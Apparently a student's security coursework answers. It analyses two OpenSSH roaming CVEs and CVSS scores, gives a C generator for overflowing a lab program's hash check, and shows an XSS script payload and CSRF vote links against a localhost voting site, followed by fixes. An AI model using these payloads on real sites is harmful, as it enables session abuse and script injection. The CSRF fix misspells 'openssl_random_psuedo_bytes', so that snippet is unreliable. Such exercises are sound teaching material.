Question 1:

1. Two bugs:
    a. CVE-2016-0777: an undocumented feature, “roaming,” enabled by default in SSH clients was intended to allow reconnection of the client to the server if the connection breaks unexpectedly. It can be used by a malicious server (or a subverted trusted server) using the “resend_bytes” function to request transmission of memory from the client process (which the client would respect and respond to), potentially including private SSH keys. Affects version 5.x, 6.x, and 7.x versions prior to 7.1p2. Remedial action that could be taken, in order of preference: update to a more recent version of OpenSSH (or patch the erroneous code); “UseRoaming no” can be added to a configuration file; OpenSSH can be executed with a flag to disable roaming; the user can choose not to re-connect to a server when prompted
    b. CVE-2016-0778: the same “roaming” feature has another flaw: with certain client-side options enabled, a malicious/subverted server could cause a buffer overflow on the client, and use this to execute arbitrary code. The same versions as given above were affected. Remedial action that could be taken: update to a more recent version of OpenSSH (or patch the erroneous code); roaming could be disabled (as described above); the user could use standard proxy/forwarding options to avoid the problem.
2. Two scores:
    a. 6.5 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - 6.5 score: medium severity; attack vector: network (attack can be conducted over a network); attack complexity: low (the attack should work in the majority of cases/it is not fragile); privileges required: low (the attack requires only user-level privileges, or similar); user interaction: none (the exploit does not rely on a user of the system); scope: unchanged (the exploit can only affect the component with the vulnerability); confidentiality: high (all the information/data present within the vulnerable component can be exposed by the attacker); availability: none (the exploit cannot render the targeted/vulnerable component unusable, it will continue to function as expected).
    b. 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - 9.8 score: critical severity; attack vector network (as above); attack complexity: low (as above); privileges required: none (the attacker need not be authorized in any way); user interaction: none (as above); scope: unchanged (as above); confidentiality: high (as above); integrity: high (a total loss of integrity, eg the attacker is able to modify all files protected by the component); availability: high (the attacker can render the component useless in some way)
3. Three security activities:
    a. Code review: static analysis could have been used to discover potential vulnerabilities. In the report, it is shown that malloc is used over calloc, which could potentially be warned against. Additionally, bugs related to the server-set

"offset" mentioned could be exposed by manual code review, as an unrestricted value originating outside the client could arouse suspicion.

   b. Penetration testing: the bugs could be discovered by some specific penetration testing, creating fake network traffic using the general format used by OpenSSH, but pushing various parameters outside of normal boundaries, to attempt to discover a potential "chink in the armour," and refining a potential exploit from there.
   c. Security operations/network monitoring: if a user, or a security team, noticed a tendency for OpenSSH disconnects in a predictable pattern, the root cause of this could be investigated, and unusual requests made by the server could be revealed.

4. The relative number of security flaws discovered implies nothing about the correctness of the code of each server, in fact OpenSSH could very well be more hardened against security threats, as so many bugs have been discovered, documented, and (hopefully) fixed. OpenSSH could be the more popular option, and so is more scrutinized and reviewed by security experts, allowing bugs to be found and fixed. The alternative solution could have instead have been examined by malicious entities (lone users, or organizations with an agenda) who would wish their exploits to remain hidden, so they could continue to make use of them instead of have them patched out.

Question 2:

1. (Assuming prior knowledge of the source code/the source can be decompiled to produce the correct hash)

- Generate a string 16 characters long ending in \x00 (call this S), that when hashed using MD5 with a length of 15 produces a hash ending in \x00\x91\xeb (call this T) - S must end in the null character to allow "strlen" to evaluate to 15, repeating the generated S -> T hash within the vulnerable program. See "generator.c" code below for the program used to accomplish this. This was simply complied using "`gcc -lcrypto generator.c -o generator`" and then run, and the resultant output used.
- Run the program, inputting S concatenated with the first 13 characters of T as the password. This will cause a buffer overflow, overwriting 13 characters of "correct_hash" with a hash created by a known string, which is being input as the password.

```
#####generator.c######
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/md5.h>
#include <time.h>

void print_array(char arr[16]);
void print_array_c(char arr[16]);

int main(int argc, char** argv) {
    int count = 0;
    int index;
    char rand_str[16];
    rand_str[15] = 0x00;

    int str_len = 15;

    char end0 = 0x00;
    char end1 = 0x91;
    char end2 = 0xeb;

    time_t t;
    srand((unsigned) time(&t));

    char hashed[16];

    while(1) {
        count++;
```

```
        for (index = 0; index < 15; index++) {
            rand_str[index] = 'A' + (rand() % 26);
        }

        MD5(rand_str, str_len, hashed);

        if ((hashed[13] == end0) && (hashed[14] == end1) &&
(hashed[15] == end2)) {
            printf("String: ");
            print_array(rand_str);
            printf("Digest: ");
            print_array(hashed);
            printf("Target length: %d\nAttempts: %d\n", str_len,
count);
            print_array_c(rand_str);
            print_array_c(hashed);

            break;
        }
    }

    return 0;
}

void print_array(char arr[16]) {
    int index;

    for (index = 0; index < 16; index++) {
        printf("\\x%02x", (unsigned char)arr[index]);
    }
    printf("\n");

}

void print_array_c(char arr[16]) {
    int index;

    for (index = 0; index < 16; index++) {
        printf("0x%02x, ", (unsigned char)arr[index]);
    }
    printf("\n");
}
```

Question 3:
1. Logging in, and submitting a link that looks something like this:
`hacked!'><script>alert(12345)</script>'` will cause the script to be embedded in the image view/vote page, and it will run any time a user loads the page (if they have JavaScript enabled, of course).

2. Assuming that, for whatever reason, the victim was already authenticated, a link could be crafted to vote for a user: visiting e.g.
`http://localhost:8080/vote.php?vote=attacker_username(`while authenticated) votes once for the attacker. This would need the attacker to be able to pass a link for the victim to click, for the victim to actually click it, and for the victim to have already been logged in.

If the victim were, again, authenticated, a script could be crafted to visit the above link, but placed within a 0x0 invisible image. Code that the attacker could use:
`<img src="http://localhost:8080/vote.php?vote=attacker_username" width="0" height="0" border="0">.`
This “image” could be placed by the attacker anywhere that the victim would load it: on a website the victim visits (via some other attack method, perhaps), or in an email.

3. Vulnerabilities:

I) The “check_signed_in()” function used to ensure a user is authenticated before displaying the image list/submission page can easily be bypassed by crafting a cookie with any username and the MD5 hash of that username as the session ID. This completely circumvents the login process. This can be avoided by using true PHP sessions instead of the cookie-based “session.”
To implement this fix:

- Add “`<?php session_start(); ?>`” at the start of index.php, vote.php, and logout.php.
- Rewrite the function “create_token” to:

```
$_SESSION["username"] = $username;
$_SESSION["session"] = md5($username);
```

- Rewrite the function “logout” to:

```
session_unset();
```

- Change references of “$_COOKIE” to “$_SESSION” (in “check_signed_in()” in “include/functions.php” and in “index.php” and “vote.php”)

II) The line in “functions.php” reading “`header("X-XSS-Protection: 0");`” disables some XSS auto-detection and prevention mechanics in modern browsers. This should naturally be removed.

III) The XSS vulnerability used in Part 1 could be fixed by escaping special characters, either on the input, or output, or both, of the user-submitted links. For example, adding the line:

```
$link = htmlspecialchars($link);
```

in the function “submit_image_link” before the “`:link`” parameter of the prepared statement is bound and wrapping the “`$row['link']`” in “get_image_list” within a call to the same “htmlspecialchars” function (resulting in:

```
print "<img src='".htmlspecialchars($row['link'])."' />";
```

)

IV) The CSRF vulnerability used in Part 2 could be fixed by using a “synchronizer token” - a unique token generated by the server on a per-session basis for the user, that has to be present in submitted forms to have the server accept the vote. To do this:

- Add a field to the session for a random key in the “create_token” function:

```
$_SESSION["csrf_key"] = openssl_random_psuedo_bytes(16);
```

- Add a “hidden” input to the form to submit the key whenever a vote is made:

```
print "<input type='hidden' name='key'
value='".$_SESSION["csrf_key"]."' />";
```

- Add a condition in “vote.php” to check if the key has been provided, and is correct, failing the check will produce the “invalid vote” message, resulting in:

```
if (!isset($_GET['vote']) || !isset($_GET['key']) ||
!isset($_SESSION['csrf_key'])||
check_uniqueness(get_db(),$_GET['vote']) ||
$_SESSION['csrf_key'] != $_GET['key'])
```